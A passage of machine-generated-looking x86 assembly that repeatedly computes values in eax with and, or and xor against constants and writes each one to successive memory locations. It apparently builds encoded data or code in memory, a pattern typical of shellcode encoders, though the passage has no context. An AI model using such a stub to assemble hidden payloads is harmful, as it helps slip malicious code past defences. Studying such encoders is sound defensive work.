and eax, 0x808000
or eax, 0xe63c6cbf
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1ef20317
and eax, 0x58048da0
or eax, 0x7811011
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x677075a1
and eax, 0x8a1e800
or eax, 0x470806c9
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2d384906
xor eax, 0x7e8a2be2
and eax, 0xc010001
or eax, 0xe0845300
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6ab37bce
xor eax, 0x39d5bf04
and eax, 0xb9809389
or eax, 0x40100824
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7f6ae433
and eax, 0x51396c0e
and eax, 0x51384806
or eax, 0x2a0703a1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3054dc
and eax, 0x11050338
or eax, 0x4206004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1db07bfe
and eax, 0x5a03b46
or eax, 0xa2428401
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x32986643
and eax, 0x77e83646
and eax, 0x11681004
or eax, 0x62856b29
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x11776c9c
and eax, 0x5375bebd
and eax, 0x2100210
or eax, 0xa1c4e00c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x165c38a7
and eax, 0xb4c08a80
or eax, 0x40020540
mov dword [ebx], eax
add ebx, ecx
and eax, 0x235e8382
xor eax, 0x4e11a4a0
and eax, 0x20512300
or eax, 0x100cd0d2
mov dword [ebx], eax
add ebx, ecx
or eax, 0xd58ae73
xor eax, 0x4087abec
and eax, 0x55d80017
or eax, 0x820188a0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7deb32b7
and eax, 0x11480087
or eax, 0x80347440
mov dword [ebx], eax
add ebx, ecx
and eax, 0x796fa700
or eax, 0x4a25b985
and eax, 0x642900
or eax, 0x20070
mov dword [ebx], eax
add ebx, ecx
and eax, 0x243c086a
xor eax, 0x5d0f571b
and eax, 0x110b483b
or eax, 0x20148084
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4c0dde8e
and eax, 0x4804
or eax, 0xe3521671
mov dword [ebx], eax
add ebx, ecx
or eax, 0x59010a62
and eax, 0x21135444
or eax, 0x82100
mov dword [ebx], eax
add ebx, ecx
or eax, 0xed84cf0
xor eax, 0x7a852b76
and eax, 0x45021200
or eax, 0xa2200008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7a2cb46e
and eax, 0x990ea040
or eax, 0x60904098
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1b6788cf
or eax, 0x46670a9d
and eax, 0xa9496a96
or eax, 0x1400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2b7a4c80
and eax, 0xb0a6012
or eax, 0x50000020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x57f9881c
and eax, 0xc734808
or eax, 0x51080100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x68723bac
or eax, 0x4d84357b
and eax, 0x4446250a
or eax, 0x32010004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5e8ddd71
xor eax, 0x17e3b7cd
and eax, 0x9244232
or eax, 0x80c20501
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1a598257
and eax, 0x9a9fc047
or eax, 0x64000808
mov dword [ebx], eax
add ebx, ecx
or eax, 0x495bc1e3
xor eax, 0x22aa5913
and eax, 0x887590cc
or eax, 0x8a0a03
mov dword [ebx], eax
add ebx, ecx
and eax, 0x88c099a
and eax, 0x8840088
or eax, 0x1241a674
mov dword [ebx], eax
add ebx, ecx
or eax, 0x19530e17
and eax, 0x2da94544
and eax, 0x1010400
or eax, 0x60768b9a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x42a378cb
xor eax, 0x63a8a14d
and eax, 0x38560c
or eax, 0xc012922
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x168f404a
xor eax, 0x7d61ef60
and eax, 0x20055004
or eax, 0x10002042
mov dword [ebx], eax
add ebx, ecx
or eax, 0x54fa7b48
xor eax, 0x20451bda
and eax, 0x44282000
or eax, 0x83441b02
mov dword [ebx], eax
add ebx, ecx
or eax, 0x16fd27aa
and eax, 0xc0a81d08
or eax, 0x20004001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5001ecf3
or eax, 0x3a122a3a
and eax, 0x22102012
or eax, 0x5858080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4b26175d
and eax, 0x8b2944b
or eax, 0x810c4800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x513ab2c6
xor eax, 0x5a3d9d5f
and eax, 0x2195112
or eax, 0x4c020829
mov dword [ebx], eax
add ebx, ecx
and eax, 0x49e0e900
and eax, 0x800
or eax, 0x828c8663
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2b6b7e45
and eax, 0x2000a41
or eax, 0x91e6f0a4
mov dword [ebx], eax
add ebx, ecx
or eax, 0x30303545
or eax, 0x4d255741
and eax, 0x19e11161
or eax, 0x1a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4924966d
and eax, 0x7c3055ba
and eax, 0x10000502
or eax, 0x2573f0a8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x68484fed
and eax, 0x59218245
or eax, 0x80804020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x467b68a4
xor eax, 0x7bc25c4a
and eax, 0x20a21c08
or eax, 0xc404e390
mov dword [ebx], eax
add ebx, ecx
and eax, 0xcad5bbf
and eax, 0x730dab76
and eax, 0x100
or eax, 0x4c5a74a2
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3708828f
and eax, 0
or eax, 0x2355ab55
mov dword [ebx], eax
add ebx, ecx
and eax, 0xa56377
and eax, 0x42115
or eax, 0x3e084802
mov dword [ebx], eax
add ebx, ecx
or eax, 0x37bea311
and eax, 0x7c1a94be
and eax, 0x180a0004
or eax, 0x80815968
mov dword [ebx], eax
add ebx, ecx
and eax, 0x39fd0970
and eax, 0x2354ae46
and eax, 0x840
or eax, 0xc9efc107
mov dword [ebx], eax
add ebx, ecx
and eax, 0x558c31f8
and eax, 0x408c0100
or eax, 0x9600ca9c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x685ed4b4
xor eax, 0x5c98c756
and eax, 0xe00a184c
or eax, 0x312301
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5c3811bc
and eax, 0x8000af1
or eax, 0x40acc406
mov dword [ebx], eax
add ebx, ecx
or eax, 0xe46cbd
and eax, 0x34e7df52
and eax, 0x4812
or eax, 0x9e00002d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5a1d9759
and eax, 0x2000019
or eax, 0x4849626
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3c54c638
and eax, 0x1214442a
or eax, 0x82800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x499acc99
or eax, 0x399dd8df
and eax, 0x710e8857
or eax, 0x200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6d789f45
and eax, 0x66ad033e
and eax, 0x240010
or eax, 0xd0c3aacc
mov dword [ebx], eax
add ebx, ecx
or eax, 0x31d0797
xor eax, 0x633f08e6
and eax, 0xb080a439
or eax, 0x4b385886
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1f6cfb0b
xor eax, 0x7fd0021f
and eax, 0x100400ab
or eax, 0x2060d200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x371e9755
and eax, 0x25300644
or eax, 0x10800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x708513cf
and eax, 0x20010204
or eax, 0x105e5503
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7cc06fa4
and eax, 0x6c900a27
or eax, 0x2000018
mov dword [ebx], eax
add ebx, ecx
and eax, 0x21a480da
and eax, 0x20800018
or eax, 0xcf2cdf25
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3865bb3e
and eax, 0x60582c72
and eax, 0x30
or eax, 0x5d314087
mov dword [ebx], eax
add ebx, ecx
or eax, 0x52c25172
and eax, 0x53105010
or eax, 0x200c2400
mov dword [ebx], eax
add ebx, ecx
or eax, 0x714fabc1
and eax, 0x33524600
or eax, 0x84a00020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2aab8a2b
and eax, 0x200
or eax, 0x594145c8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7b0ebae0
or eax, 0x3ef16f9c
and eax, 0x19a0099c
or eax, 0x800e9023
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x66eac0e2
and eax, 0x80441049
or eax, 0x80a2a2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1a6efba8
or eax, 0x6fd2c4e8
and eax, 0x82f885c2
or eax, 0x13014
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7dabb9ad
and eax, 0x73313479
or eax, 0x4000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x393c5ff4
and eax, 0x31205000
or eax, 0xce878200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7cb3a9c2
and eax, 0x1b589aca
and eax, 0x3108280
or eax, 0xe4c4653d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x595c4ffc
or eax, 0x4222fb54
and eax, 0x96a0a115
or eax, 0x500488
mov dword [ebx], eax
add ebx, ecx
and eax, 0x66cc522e
and eax, 0x4400004
or eax, 0xc92b6be1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4a3a4def
and eax, 0x400041a0
or eax, 0x2090b412
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x42a6905e
and eax, 0x304100
or eax, 0x41490003
mov dword [ebx], eax
add ebx, ecx
and eax, 0x42541797
or eax, 0x3e24c342
and eax, 0x28500141
or eax, 0x83c30
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3df8df21
or eax, 0x4062d2fd
and eax, 0x6a1454
or eax, 0x94810000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x20197ced
and eax, 0x10400
or eax, 0xa7d2a103
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5784df78
and eax, 0xd000586b
or eax, 0xca88180
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x52608b0c
or eax, 0x4d4997ce
and eax, 0xc981c1af
or eax, 0x10300800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x41b3b22e
xor eax, 0x5125daec
and eax, 0x88942002
or eax, 0x7108d4b8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7855b897
and eax, 0x65a62ca5
and eax, 0x800c04
or eax, 0x8e3dc19a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3eca74e7
and eax, 0x3c2dd860
or eax, 0x40000200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7a1a7820
and eax, 0x58084820
or eax, 0x7140618
mov dword [ebx], eax
add ebx, ecx
and eax, 0x38b0fa6c
or eax, 0x336f1783
and eax, 0x12054421
or eax, 0x40002000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x185cdf34
and eax, 0x4850a315
or eax, 0x84220088
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13213b2d
and eax, 0x23eef80e
and eax, 0
or eax, 0x8d4b1d03
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6b4760a
and eax, 0x452bfe4c
and eax, 0x4000000
or eax, 0xabf6a2bd
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2f91d393
and eax, 0x80446120
or eax, 0x760802c1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2e7035d6
and eax, 0x79bc8a1e
and eax, 0x58300002
or eax, 0x26509
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x342c587
or eax, 0x10f4496e
and eax, 0x1960002c
or eax, 0x24020410
mov dword [ebx], eax
add ebx, ecx
and eax, 0x69b6d044
and eax, 0x21200000
or eax, 0x84d48e68
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1453753f
xor eax, 0x42f51b0f
and eax, 0x4002c040
or eax, 0xca012a6
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2bdfe7db
and eax, 0x44292115
or eax, 0x8000c0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x174aae77
and eax, 0x4082005
or eax, 0x2b004028
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x8f5a9f3
and eax, 0x22edc090
or eax, 0x90020001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xd9ef581
or eax, 0x67915129
and eax, 0xd107510
or eax, 0xa0004
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3260b01e
and eax, 0xe3a050e
or eax, 0x841
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3a76492d
and eax, 0x30044400
or eax, 0x4b819818
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6319988
or eax, 0x60487e4a
and eax, 0x3e0ce318
or eax, 0x20005
mov dword [ebx], eax
add ebx, ecx
or eax, 0x131c5a00
or eax, 0x26043f85
and eax, 0x111e2110
or eax, 0x80e00060
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7228fd2
and eax, 0x6c52d5cf
and eax, 0x508082
or eax, 0xbaae295d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x60a77c88
and eax, 0x26da06ba
and eax, 0x412
or eax, 0x95a0e0e9
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6ebf5ad4
and eax, 0xcd9bc8fd
or eax, 0x100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x553c2353
and eax, 0x41000111
or eax, 0x9066422c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x776a57ea
or eax, 0x4ce112e0
and eax, 0x14c002a0
or eax, 0xa0108413
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3b3dbc54
and eax, 0x4e900c3
or eax, 0x120418
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x31470f22
xor eax, 0x482f7dcd
and eax, 0x41106030
or eax, 0x6400cb
mov dword [ebx], eax
add ebx, ecx
or eax, 0x75087d0b
and eax, 0x40682178
or eax, 0x30000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x16ecf340
and eax, 0x600100
or eax, 0x4a125828
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2eab7811
and eax, 0xa025800
or eax, 0x711d2627
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x44f5bd52
and eax, 0x5080044
or eax, 0x40053408
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7a9fac28
and eax, 0x21101804
or eax, 0x40086611
mov dword [ebx], eax
add ebx, ecx
or eax, 0x68800900
and eax, 0x69187504
or eax, 0x10040008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x226e62b7
and eax, 0x1721330
or eax, 0x8ca000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x352223bc
xor eax, 0x74a7bb60
and eax, 0x401b2388
or eax, 0x94809003
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x97474a
and eax, 0xc400e480
or eax, 0x28a30116
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6a44189b
and eax, 0x4a510c6a
and eax, 0xa00040a
or eax, 0x809cd095
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x562e15e6
and eax, 0x98008140
or eax, 0x23453086
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5831a73b
and eax, 0xb135b120
or eax, 0x4884000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2d6ab807
and eax, 0x2408b000
or eax, 0xa5309df
mov dword [ebx], eax
add ebx, ecx
or eax, 0x523c098
xor eax, 0x2fb7b418
and eax, 0x4c0c43
or eax, 0x3f320020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x44becfae
and eax, 0x5b680144
or eax, 0x3010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x172b19c
and eax, 0x516a9084
or eax, 0x24040221
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2b24c6e9
and eax, 0x20000201
or eax, 0x1e52085a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3641727a
or eax, 0xfd73323
and eax, 0x4550103
or eax, 0x30000048
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4907b83b
xor eax, 0x2cdf1cb9
and eax, 0x4c80032
or eax, 0x8024c34d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x647ec0b4
xor eax, 0x25509428
and eax, 0xc58286a0
or eax, 0x1a05681c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5cf361f0
xor eax, 0x7e187979
and eax, 0xc90cd411
or eax, 0x81008a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4d13e5a
or eax, 0x1f5d11ef
and eax, 0xd14c936
or eax, 0x220000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5b3a6a33
and eax, 0x8320802
or eax, 0xb2cd85c1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2141904a
and eax, 0x9acf89c3
or eax, 0x20
mov dword [ebx], eax
add ebx, ecx
and eax, 0x308aa2a3
or eax, 0x37d4d5ad
and eax, 0x2080d0af
or eax, 0xc0210800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x71babd39
and eax, 0x7da97252
and eax, 0x20800000
or eax, 0x8708edae
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x38a787ed
or eax, 0x19ca35ce
and eax, 0x81cb0ecc
or eax, 0x8000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3c077894
or eax, 0x59f7fb1b
and eax, 0x49b1f092
or eax, 0xa2000420
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3d3a37fc
and eax, 0x9303090
or eax, 0x16c28049
mov dword [ebx], eax
add ebx, ecx
or eax, 0x18efa5c5
xor eax, 0x474e9c30
and eax, 0x10802881
or eax, 0x86441610
mov dword [ebx], eax
add ebx, ecx
or eax, 0x40f375d3
and eax, 0x48e7e636
and eax, 0x40e00210
or eax, 0x881891c4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x509ecde6
and eax, 0x9081c0
or eax, 0xa0043a32
mov dword [ebx], eax
add ebx, ecx
and eax, 0x648c1422
xor eax, 0x1750b761
and eax, 0x48341
or eax, 0x480158a8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x18c859fa
and eax, 0x4068
or eax, 0xd5a00414
mov dword [ebx], eax
add ebx, ecx
or eax, 0x27c299c8
and eax, 0xf1008c04
or eax, 0x8012200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x15c80008
and eax, 0x84c08008
or eax, 0x122400c1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3c88f224
and eax, 0x8a6830c1
or eax, 0x10938902
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3f3651c2
and eax, 0x2fe8a8c3
or eax, 0x43c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4034c180
and eax, 0x7d42515
or eax, 0x90020000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x187a9271
and eax, 0x88de9550
or eax, 0x20010880
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5bfdfa2d
and eax, 0x60dcb596
and eax, 0x40543404
or eax, 0x98200a6b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7cca54f5
xor eax, 0x271b566b
and eax, 0xe41400e
or eax, 0x809581
mov dword [ebx], eax
add ebx, ecx
and eax, 0x23adde58
and eax, 0x80c008
or eax, 0x901e0980
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x796c3bab
and eax, 0x48902201
or eax, 0x160d00dc
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1a7dbe66
and eax, 0x18050040
or eax, 0xe1829d93
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3c2b6c32
or eax, 0x560747c9
and eax, 0xf680d299
or eax, 4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3ccbf426
and eax, 0x1480c004
or eax, 0x82542db3
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5fce101d
and eax, 0xc910f88a
or eax, 0x34810044
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6dfe4066
and eax, 0x7e6bb900
and eax, 0x7428a000
or eax, 0x20046a9
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3192ebae
or eax, 0xca7a6b7
and eax, 0x448acd0c
or eax, 0x80000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2087a325
and eax, 0x23c0bb6b
and eax, 0xa20
or eax, 0xd795d5d0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6ad963a1
xor eax, 0x624eb060
and eax, 0x81924980
or eax, 0x6228a00e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x849c287
and eax, 0x6002b75e
and eax, 0x2030c
or eax, 0x859d5010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5a5b61d7
and eax, 0x72fb0147
and eax, 0x42000043
or eax, 0x28158980
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2accc1ba
or eax, 0x39b70397
and eax, 0x5b26430d
or eax, 0x4002000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1ad5ee3b
and eax, 0xd2d31d9
and eax, 0x1010100
or eax, 0x721c7229
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5afbaa1
or eax, 0x5f03eec3
and eax, 0x20d1241
or eax, 0x20700004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13eb5ff4
xor eax, 0x585c3d88
and eax, 0x2212080
or eax, 0x85ca5013
mov dword [ebx], eax
add ebx, ecx
and eax, 0x33891c66
and eax, 0x1881000
or eax, 0xf034e8c0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7d068659
and eax, 0x51040000
or eax, 0xe0b7da1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x20912980
or eax, 0x19495c15
and eax, 0x41005035
or eax, 0x20230a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3614f3bd
or eax, 0x52611b25
and eax, 0x200938
or eax, 0xa4960440
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6003a402
and eax, 0xc0a58020
or eax, 0x8084001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x573e7ad6
and eax, 0x41992a81
or eax, 0x408
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x22793d65
and eax, 0x60800060
or eax, 0x1c170410
mov dword [ebx], eax
add ebx, ecx
and eax, 0x24b29a86
and eax, 0x3d4dcc4f
and eax, 0x20000000
or eax, 0xc38ed828
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x59f71b01
or eax, 0x2cfae35e
and eax, 0x88c3c02d
or eax, 0x1040080
mov dword [ebx], eax
add ebx, ecx
and eax, 0xd50f253
and eax, 0x9404000
or eax, 0xb6ba24a2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2eed9443
and eax, 0x11029080
or eax, 0x8680e04
mov dword [ebx], eax
add ebx, ecx
or eax, 0x51b16fec
and eax, 0x11e13b6c
or eax, 0xa0000010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x561be3e0
and eax, 0x82e0988c
or eax, 0x8000163
mov dword [ebx], eax
add ebx, ecx
or eax, 0x611326c9
and eax, 0x835307c9
or eax, 0x40010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x121e1ae2
xor eax, 0x9182bf8
and eax, 0x402642
or eax, 0x52a0030
mov dword [ebx], eax
add ebx, ecx
or eax, 0x25690630
xor eax, 0x402989a4
and eax, 0x40428340
or eax, 0x1ab81009
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2968fede
and eax, 0x11122802
or eax, 0xc6c0208
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5033d713
or eax, 0x67cd399
and eax, 0x120a5309
or eax, 0x49810860
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2bc0e05a
xor eax, 0x7ea6b679
and eax, 0xcc50548
or eax, 0x2110d025
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x779c9edf
and eax, 0x5a084212
or eax, 0x434140d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7e34da9
or eax, 0x66e7e736
and eax, 0x37723312
or eax, 0x80000040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x79975519
xor eax, 0x47cf013e
and eax, 0xc11028
or eax, 0x8020a940
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6887212a
or eax, 0xf06db30
and eax, 0x49047a10
or eax, 0x180004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x9d54665
and eax, 0x45f860b1
and eax, 0x40080020
or eax, 0x833570e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xe8cb51f
and eax, 0x614336da
and eax, 0x32210
or eax, 0x8124d1cc
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4a58e911
or eax, 0x7f4eb511
and eax, 0xdd2b0608
or eax, 0x804002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x451814e3
and eax, 0x8a05088
or eax, 0x6408004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6eef7af0
or eax, 0x3d22e98c
and eax, 0x840190c
or eax, 0x180672
mov dword [ebx], eax
add ebx, ecx
or eax, 0x17f249f7
or eax, 0x7a44899f
and eax, 0x50528da0
or eax, 0x80002000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5d002af6
or eax, 0x72a2d1f9
and eax, 0xa503856
or eax, 0xc0000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x293a778d
and eax, 0x385e9f94
and eax, 0x5e1b00
or eax, 0x1620206a
mov dword [ebx], eax
add ebx, ecx
or eax, 0xdac2b9d
xor eax, 0x78801224
and eax, 0x7c2142
or eax, 0x8011620
mov dword [ebx], eax
add ebx, ecx
and eax, 0x50be72d6
and eax, 0x2242
or eax, 0xbbc38c10
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x743574e6
and eax, 0xc8a608a4
or eax, 0x20092148
mov dword [ebx], eax
add ebx, ecx
and eax, 0x504eab24
and eax, 0xa0124
or eax, 0xa1d18288
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xa332744
and eax, 0x2effc933
and eax, 0x20280020
or eax, 0x54175bc9
mov dword [ebx], eax
add ebx, ecx
or eax, 0x14ac53a4
and eax, 0x449c5b20
or eax, 0x89000010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4ff6ca38
xor eax, 0x75e2fa32
and eax, 0x9a142108
or eax, 0x5c2d035
mov dword [ebx], eax
add ebx, ecx
and eax, 0x70181ae8
or eax, 0x1b561a7f
and eax, 0x8020051
or eax, 0x4408a480
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5cf37d88
and eax, 0x4481f653
and eax, 0x40002400
or eax, 0x2212483b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xb5ac06d
and eax, 0x69480412
or eax, 0x101712a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x42ba8228
and eax, 0x4277102a
or eax, 0x4000104
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4a644f4
and eax, 0x286668d9
and eax, 0x424018
or eax, 0x90192927
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x71456be8
and eax, 0x411c00c1
or eax, 0xa409020
mov dword [ebx], eax
add ebx, ecx
and eax, 0x642380b9
and eax, 0
or eax, 0xb0573512
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2f378101
and eax, 0xbc201512
or eax, 0x40080204
mov dword [ebx], eax
add ebx, ecx
or eax, 0x43477554
and eax, 0x9c4f6404
or eax, 0x908880
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2c87ffb1
and eax, 0xc470ba4
or eax, 0x2200040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2a568cd
and eax, 0x2010040
or eax, 0x8802330b
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4da0c4ce
xor eax, 0x7756a8c7
and eax, 0x18c54e08
or eax, 0x10a2094
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x60d24994
xor eax, 0x64d83f5e
and eax, 0x50800
or eax, 0x602a4629
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6aac4b00
and eax, 0xc0200
or eax, 0x9851349f
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1bf9ca61
and eax, 0x1bca6797
and eax, 0xa884293
or eax, 0xe4048868
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5281dae7
and eax, 0x2c011008
or eax, 0x42b0c6a0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x721bf61b
xor eax, 0xf9ddf6
and eax, 0x1c420804
or eax, 0x23040038
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3033b34e
or eax, 0x1559cc67
and eax, 0x30000467
or eax, 0x40200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x42ff8473
and eax, 0x52160604
or eax, 0xc007800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x9f215b5
and eax, 0x8100400
or eax, 0x10e8a260
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x56897159
and eax, 0x4451d530
or eax, 0xa00a2880
mov dword [ebx], eax
add ebx, ecx
or eax, 0x60cea2fa
and eax, 0x80d7b95a
or eax, 0x1a000001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5cc9d798
or eax, 0x2c8d4f69
and eax, 0x1cc48c60
or eax, 0x320082
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3c9d7511
xor eax, 0x46ec5705
and eax, 0x12584304
or eax, 0x105a062
mov dword [ebx], eax
add ebx, ecx
or eax, 0x68e0cc79
or eax, 0x6dc4f805
and eax, 0x3a7d2c5d
or eax, 0x80000000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x56a82eb8
and eax, 0xf2e02480
or eax, 0x1029002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3e8f8936
and eax, 0x20820000
or eax, 0xc41640c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x53a5cd2d
and eax, 0x6c1892d
and eax, 0x10000
or eax, 0x221a2c61
mov dword [ebx], eax
add ebx, ecx
or eax, 0x76284234
